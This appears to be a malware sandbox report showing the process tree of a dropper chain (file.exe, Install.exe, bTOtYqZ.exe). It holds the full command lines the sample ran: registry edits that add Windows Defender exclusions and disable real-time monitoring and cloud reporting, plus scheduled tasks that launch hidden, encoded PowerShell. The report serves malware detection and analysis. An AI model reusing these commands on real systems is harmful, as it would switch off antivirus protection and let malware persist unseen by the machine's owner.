301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	eYHgBri.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEeYHgBri.exe

pid	process
1016	powershell.EXE
1016	powershell.EXE
1016	powershell.EXE
980	powershell.EXE
980	powershell.EXE
980	powershell.EXE
616	powershell.EXE
616	powershell.EXE
616	powershell.EXE
1020	powershell.EXE
1020	powershell.EXE
1020	powershell.EXE
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe
1204	eYHgBri.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1016	powershell.EXE
Token: SeDebugPrivilege	980	powershell.EXE
Token: SeDebugPrivilege	616	powershell.EXE
Token: SeDebugPrivilege	1020	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 852 wrote to memory of 1148	852	file.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1148 wrote to memory of 1844	1148	Install.exe	Install.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1812	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1844 wrote to memory of 1388	1844	Install.exe	forfiles.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1812 wrote to memory of 1364	1812	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1388 wrote to memory of 824	1388	forfiles.exe	cmd.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 1780	1364	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 824 wrote to memory of 1788	824	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 1364 wrote to memory of 432	1364	cmd.exe	reg.exe
PID 824 wrote to memory of 2032	824	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:852

C:\Users\Admin\AppData\Local\Temp\7zS272.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1148

C:\Users\Admin\AppData\Local\Temp\7zS1018.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1844

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1364

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1780

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:432

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:824

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1788

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:2032

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "grpXIVAun" /SC once /ST 08:52:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1944

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "grpXIVAun"
4⤵
PID:1816

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "grpXIVAun"
4⤵
PID:556

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "beNJzxXkYGhzSCmkZn" /SC once /ST 10:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\bTOtYqZ.exe\" Qf /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1380

C:\Windows\system32\taskeng.exe
taskeng.exe {F93A9B40-4DC2-427C-8B87-3121901D4424} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:980

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:616

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1020

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1908

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1220

C:\Windows\system32\taskeng.exe
taskeng.exe {06C963AA-DB8C-4C33-8592-2C60AB5FE70A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1628

C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\bTOtYqZ.exe
C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH\MMqPNYIplLDGwAY\bTOtYqZ.exe Qf /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1948

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gorlHOkDI" /SC once /ST 09:55:52 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1364

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gorlHOkDI"
3⤵
PID:828

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gorlHOkDI"
3⤵
PID:832

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1744

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1404

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1992

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1964

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "grCfGWqcu" /SC once /ST 03:42:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1620

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "grCfGWqcu"
3⤵
PID:988

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "grCfGWqcu"
3⤵
PID:1640

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1748

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1152

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1508

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1572

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1220

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:840

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
3⤵
PID:836

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1740

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\MNBTbrbBidagOXts\PgLLhTMh\TbdbZrPQaQTRBtAI.wsf"
3⤵
PID:1964

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\MNBTbrbBidagOXts\PgLLhTMh\TbdbZrPQaQTRBtAI.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1096

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2040

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:824

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1168

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1556

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1412

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2040

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CXdyuXxQU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1696

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCSurMlfClMRC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:468

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1104

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YnFPtusxCOTU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1372

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1824

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bOFQhydRtxUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RIEoyfpemMjlUPVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1992

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH" /t REG_DWORD /d 0 /reg:64
4⤵
PID:868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1552

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MNBTbrbBidagOXts" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1788

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gucPYqfSV" /SC once /ST 05:14:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:616

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gucPYqfSV"
3⤵
PID:1812

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gucPYqfSV"
3⤵
PID:1824

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:840

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:1716

C:\Windows\SysWOW64\cmd.exe
